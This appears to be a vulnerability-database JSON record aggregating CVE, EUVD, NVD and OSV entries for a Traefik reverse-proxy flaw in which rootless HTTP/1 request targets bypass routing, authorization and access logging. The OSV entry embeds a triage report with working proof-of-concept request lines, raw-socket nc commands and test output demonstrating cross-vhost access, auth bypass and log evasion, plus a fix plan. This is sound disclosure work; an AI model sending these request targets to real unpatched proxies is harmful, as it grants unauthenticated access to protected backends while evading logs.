{"id":"GO-2026-6465","revision":null,"records":[{"revision":"c9a87fe67fb54a5197673d4a6c48b5c3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-88009","aliases":[],"title":"Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging","description":"Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluates routing, path sanitization, forwardAuth, encodedCharacters, and access logging against a path normalized to / but forwards URL.Opaque verbatim to the backend, allowing cross-vhost routing bypass, path-scoped authorization bypass, and access-log evasion when the backend interprets the opaque target as a path. This issue is fixed in 2.11.57 and 3.7.13.","state":0,"publishedAt":"2026-09-10T15:01:56.971+00:00","modifiedAt":"2026-09-10T15:40:16.096+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.11.57\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.0.0, < 3.7.13\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.8,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724","https://github.com/traefik/traefik/pull/13796","https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9","https://github.com/traefik/traefik/releases/tag/v2.11.57","https://github.com/traefik/traefik/releases/tag/v3.7.13"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88009","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-88009","identifiers":["CVE-2026-88009"]},"retained":false,"historicalAffected":[]},{"revision":"55d8d30f44fa4b5c9de1a8ed78508a5b","observedAt":"2026-11-11T17:03:10.9+00:00","statement":{"source":"euvd","id":"EUVD-2026-75578","aliases":["CVE-2026-88009","GHSA-f52w-8j3h-j724"],"title":"Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluat…","description":"Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluates routing, path sanitization, forwardAuth, encodedCharacters, and access logging against a path normalized to / but forwards URL.Opaque verbatim to the backend, allowing cross-vhost routing bypass, path-scoped authorization bypass, and access-log evasion when the backend interprets the opaque target as a path. This issue is fixed in 2.11.57 and 3.7.13.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.8,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724","https://github.com/traefik/traefik/pull/13796","https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9","https://github.com/traefik/traefik/releases/tag/v2.11.57","https://github.com/traefik/traefik/releases/tag/v3.7.13"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-75578","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 10, 2026, 3:01:56 PM","dateUpdated":"Sep 10, 2026, 3:40:16 PM"},"relatedAdvisories":[{"id":"RHSA-2026:90321","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.31.0 Release.","vulnerabilityIds":["CVE-2023-54404","CVE-2025-62718","CVE-2026-8643","CVE-2026-9496","CVE-2026-12185","CVE-2026-13697","CVE-2026-14682","CVE-2026-15076","CVE-2026-16308","CVE-2026-17106","CVE-2026-18427","CVE-2026-19203","CVE-2026-19534","CVE-2026-39820","CVE-2026-41178","CVE-2026-41707","CVE-2026-42499","CVE-2026-42502","CVE-2026-45416","CVE-2026-47884","CVE-2026-47886","CVE-2026-47888","CVE-2026-47890","CVE-2026-47892","CVE-2026-50010","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-56852","CVE-2026-56854","CVE-2026-58062","CVE-2026-59280","CVE-2026-59282","CVE-2026-59283","CVE-2026-59296","CVE-2026-59313","CVE-2026-59323","CVE-2026-59651","CVE-2026-59887","CVE-2026-59899","CVE-2026-59901","CVE-2026-62243","CVE-2026-64607","CVE-2026-67213","CVE-2026-67312","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-68494","CVE-2026-68497","CVE-2026-69152","CVE-2026-69192","CVE-2026-71290","CVE-2026-71324","CVE-2026-71325","CVE-2026-71327","CVE-2026-73500","CVE-2026-73508","CVE-2026-74835","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-76169","CVE-2026-81521","CVE-2026-82417","CVE-2026-82562","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84961","CVE-2026-85062","CVE-2026-85124","CVE-2026-85152","CVE-2026-85595","CVE-2026-85597","CVE-2026-86063","CVE-2026-87743","CVE-2026-88004","CVE-2026-88007","CVE-2026-88008","CVE-2026-88009","CVE-2026-88011","CVE-2026-88012","CVE-2026-88031","CVE-2026-88878","CVE-2026-88879","CVE-2026-90711","CVE-2026-93749","CVE-2026-100655","CVE-2026-100656","CVE-2026-100666","CVE-2026-101916","CVE-2026-102925","CVE-2026-102930","CVE-2026-103435","CVE-2026-109618","CVE-2026-109619"]},{"id":"openSUSE-SU-2026:12076-1","title":"traefik-3.7.13-1.1 on GA media","vulnerabilityIds":["CVE-2026-88004","CVE-2026-88007","CVE-2026-88008","CVE-2026-88009","CVE-2026-88010"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-75578","identifiers":["EUVD-2026-75578","CVE-2026-88009","GHSA-f52w-8j3h-j724"]},"retained":false,"historicalAffected":[]},{"revision":"a4055196a4c34a88a6f0d48f5c502e45","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-88009","aliases":[],"title":"Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluat…","description":"Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluates routing, path sanitization, forwardAuth, encodedCharacters, and access logging against a path normalized to / but forwards URL.Opaque verbatim to the backend, allowing cross-vhost routing bypass, path-scoped authorization bypass, and access-log evasion when the backend interprets the opaque target as a path. This issue is fixed in 2.11.57 and 3.7.13.","state":0,"publishedAt":"2026-09-10T16:18:07.78+00:00","modifiedAt":"2026-09-14T19:59:14.81+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9","https://github.com/traefik/traefik/pull/13796","https://github.com/traefik/traefik/releases/tag/v2.11.57","https://github.com/traefik/traefik/releases/tag/v3.7.13","https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88009","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-444","CWE-1286"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-09-10T16:18:07.780","lastModified":"2026-09-14T19:59:14.810"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-88009","identifiers":["CVE-2026-88009"]},"retained":false,"historicalAffected":[]},{"revision":"e27b5367ea754c1b969fe2bd84728a7c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-f52w-8j3h-j724","aliases":["CVE-2026-88009","GO-2026-6465"],"title":"Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging","description":"## Summary\n\nTraefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.\n\nTraefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nThe scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.\n\n**The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred:\n\n1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block.\n2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend.\n3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `\"GET / HTTP/1.1\"`.\n\nPlus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload.\n\nThis is not the \"the operator left an opt-in permissive\" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed.\n\n## Affected code\n\n- `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`)\n- `pkg/muxer/http/mux.go:139` (`withRoutingPath`)\n\n## Code analysis\n\n### The sink\n\n`pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:\n\n```go\npr.Out.URL.Scheme = target.Scheme\npr.Out.URL.Host = target.Host\n...\npr.Out.URL.Path = u.Path\npr.Out.URL.RawPath = u.RawPath\n...\npr.Out.RequestURI = \"\" // Outgoing request should not have RequestURI\n```\n\n`net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != \"\"`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored.\n\n### How Opaque gets populated\n\n`net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: \"http\", Opaque: \"http://internal-vhost/admin\", Path: \"\", Host: \"\"}`.\n\nNote that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.\n\n### Why the entry-point pipeline does not catch it\n\n- `denyFragment` inspects `req.URL.RawPath` → empty → passes.\n- `normalizePath` returns early when `RawPath == \"\"` → passes.\n- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath(\"/\")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `\"/\"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*.\n- The muxer matches on `URL.Path == \"/\"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.\n- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `\"/\"`. The denylist can never fire.\n- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.\n- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.\n\n### Scope\n\nThe experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both.\n\nNote this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.\n\n## Reproduction (J04, F4)\n\nTwo independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).\n\n### A. In-tree Go test (`pkg/server`, deleted after the run)\n\nEntry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.\n\n**Command:**\n```\ngo test -run TestScanPocJ04Opaque -v ./pkg/server/\n```\n\n**Observed:**\n```\n=== RUN   TestScanPocJ04Opaque/control_origin_form\n    status=\"200 OK\" reachedBackend=true backend.RequestURI=\"/hello\" backend.Host=\"app.example.com\"\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin%2f..%2fsecret\" RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"internal-vhost\" Path=\"/admin/../secret\" RawPath=\"/admin%2f..%2fsecret\")\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin\" RequestURI=\"http://internal-vhost/admin\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin\" Host=\"internal-vhost\" Path=\"/admin\" RawPath=\"\")\n=== RUN   TestScanPocJ04Opaque/absolute_form\n    status=\"404 Not Found\" reachedBackend=false\n--- PASS: TestScanPocJ04Opaque (2.01s)\n```\n\n**Conclusion:** REPRODUCED. Traefik routes on `Path=\"/\"` and `Host=\"app.example.com\"`; the backend receives `Host=\"internal-vhost\"` and `Path=\"/admin\"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs.\n\n### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend\n\nTopology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.\n\n**B1. Cross-vhost + log evasion (stock defaults):**\n```\n=== request-target sent: '/'\nPUBLIC-VHOST uri=/ host=app.example.com\n\n=== request-target sent: 'http:http://internal-vhost/admin'\nINTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n\n=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost\n```\nTraefik access log for those same three requests:\n```\n\"GET / HTTP/1.1\" 200 40 ... \"app@file\" \"http://poc-nginx:80\" 3ms\n\"GET / HTTP/1.1\" 200 53 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n\"GET / HTTP/1.1\" 200 67 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n```\n\n**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):\n```\n=== request-target sent: '/admin%2f..%2fsecret'\nHTTP/1.1 400 Bad Request                       <- canonical path: protection fires\n\n=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'\nHTTP/1.1 200 OK\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires\n```\n\n**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):\n```\n=== request-target sent: '/admin'                          -> 403 DENY\n=== request-target sent: 'http:/admin'                     -> 403 DENY\n=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n```\nAuth-service log confirms the decision flip: `403`, `403`, `200`.\n\n**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.\n\n### Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Reproduction (J18, F20)\n\nThree Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.\n\n**Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.\n\n```\ncd /Users/emile/go/src/github.com/traefik/traefik\ngo test -run TestJ18RootlessRequestTarget ./pkg/server/ -v\n```\n\n```\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1\n    --> raw request line: \"GET http:admin/secret HTTP/1.1\"\n    in-Traefik state: URL.Opaque=\"admin/secret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin/secret\" EscapedPath=\"/\"\n    <-- routers matched: [router-app(NO AUTH)]\n    <-- response: \"HTTP/1.1 200 OK\\r\"\n    <-- backend request lines seen so far: [\"GET admin/secret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1\n    in-Traefik state: URL.Opaque=\"admin%2Fsecret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin%2Fsecret\" EscapedPath=\"/\"\n    <-- routers matched: [router-app(NO AUTH)]\n    <-- backend request lines seen so far: [... \"GET admin%2Fsecret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)\n    <-- routers matched: [router-admin(AUTH)]\n    <-- response: \"HTTP/1.1 401 Unauthorized\\r\"\nPASS\n```\n\nThe control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.\n\n**Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target.\n\n```\ngo test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0\ndocker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine\ndocker run -d --rm -p 18120:3000 node:alpine node -e \"require('http').createServer(...)\"\ndocker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000\ndocker run -d --rm -p 18122:8080 tomcat:9.0.120\nprintf 'GET admin/secret HTTP/1.1\\r\\nHost: app.example.com\\r\\nConnection: close\\r\\n\\r\\n' | nc -w 3 127.0.0.1 <port>\n```\n\n| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |\n|---|---|---|\n| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path=\"/admin/secret\"` |\n| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |\n| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |\n| Python `http.server` | accepted (404, no 400) | 404 |\n| **fasthttp v1.69.0** | **`200 OK`, `Path=\"/admin/secret\"`** | 200, `Path=\"/admin/secret\"` |\n\nfasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path=\"/admin/secret\"`, `RequestURI=\"admin%2Fsecret\"`.\n\n**Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.\n\n```\ngo test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v\n```\n\n```\n\"GET /admin/secret HTTP/1.1\"       => 401 basicAuth required\n\"GET http:admin/secret HTTP/1.1\"   => Server: fasthttp ... ADMIN_PANEL_SECRET\n\"GET http:admin%2Fsecret HTTP/1.1\" => Server: fasthttp ... ADMIN_PANEL_SECRET\n```\n\nThe bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.\n\n## Second affected site (J18)\n\nThe finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.\n\nA client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = \"admin/secret\"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`:\n\n- `denyFragment` inspects `URL.RawPath` (empty) and passes.\n- `normalizePath` returns early on empty `RawPath`.\n- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `\"/\"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `\"admin/secret\"`.\n- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `\"/\"`.\n- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim.\n\nResult: Traefik makes its routing and middleware decision on one string (`\"/\"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix(\"/\")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.\n\nWhere the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.\n\n## Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\nThe page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.\n\nThis lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.\n\n## Precedent in comparable projects\n\nSearched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.\n\n| Product | ID | Severity | Framing | Fix shape |\n|---|---|---|---|---|\n| Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |\n| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |\n| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |\n| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |\n| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. |\n| Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. |\n| Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. |\n| HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Recommended fix\n\n**Assign for fix, and treat as CVE-worthy.**\n\n1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments:\n   ```go\n   pr.Out.URL.Opaque = \"\"\n   ```\n   and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half.\n2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == \"\"` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker's authority-bearing form and the access log still records `/`.\n3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.\n4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it.\n5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR.\n\n## 